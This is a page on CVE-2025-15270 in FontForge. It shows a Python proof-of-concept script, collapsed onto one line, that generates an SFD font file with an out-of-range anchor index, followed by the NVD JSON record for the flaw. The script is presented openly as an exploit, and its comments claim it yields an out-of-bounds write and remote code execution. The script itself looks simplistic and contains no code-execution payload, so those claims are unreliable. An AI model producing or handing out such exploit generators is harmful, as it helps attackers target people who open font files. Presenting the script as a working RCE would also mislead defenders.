CVE-2025-15270

#!/usr/bin/env python3 # CVE-2025-15270 PoC - FontForge SFD File Array Index Validation Issue # Generate malicious SFD file to trigger out-of-bounds write import struct import sys def create_malicious_sfd(): """Generate a malicious SFD file with out-of-bounds array index""" # SFD file header sfd_content = "SplineFontDB: 3.0\n" sfd_content += "FontName: MaliciousFont\n" sfd_content += "FullName: Malicious Font\n" sfd_content += "FamilyName: Malicious Family\n" sfd_content += "Version: 1.0\n" sfd_content += "Encoding: iso10646-1\n" sfd_content += "BeginChars: 256 256\n" # Create glyph with malicious array index # This triggers the improper validation vulnerability malicious_index = 0xFFFFFFFF # Out of bounds index sfd_content += f"""BeginGlyph: A 1 Width: 1000 VWidth: 0 Flags: W AnchorPoint: "top" {malicious_index} 0 basechar 0 0 "" EndSplineSet EndChar """ sfd_content += "EndChars\n" sfd_content += "EndFont\n" return sfd_content def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-15270-poc.py <output.sfd>") print("This PoC generates a malicious SFD file for FontForge") sys.exit(1) output_file = sys.argv[1] sfd_data = create_malicious_sfd() with open(output_file, 'w') as f: f.write(sfd_data) print(f"[+] Malicious SFD file created: {output_file}") print(f"[+] Open this file with FontForge to trigger the vulnerability") if __name__ == "__main__": main() # Additional exploitation notes: # 1. The vulnerability is in FontForge's SFD file parser # 2. Attack vector: User must open the malicious SFD file # 3. Result: Out-of-bounds write leading to RCE # 4. CVSS 8.8 - Network based, low complexity, requires user interaction

{"cve": {"id": "CVE-2025-15270", "sourceIdentifier": "[email protected]", "published": "2025-12-31T07:15:50.897", "lastModified": "2026-01-07T16:11:14.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FontForge SFD File Parsing Improper Validation of Array Index Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of SFD files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated array. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28563."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por validación incorrecta del índice de la matriz en el análisis de archivos SFD de FontForge. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de FontForge. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que el objetivo debe visitar una página maliciosa o abrir un archivo malicioso.\n\nLa falla específica reside en el análisis de archivos SFD. El problema se debe a la falta de validación adecuada de los datos proporcionados por el usuario, lo que puede resultar en una escritura más allá del final de una matriz asignada. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del usuario actual. Fue ZDI-CAN-28563."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:*", "matchCriteriaId": "F1A9337A-AD25-4C56-964A-CCD44CEF611F"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1194/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}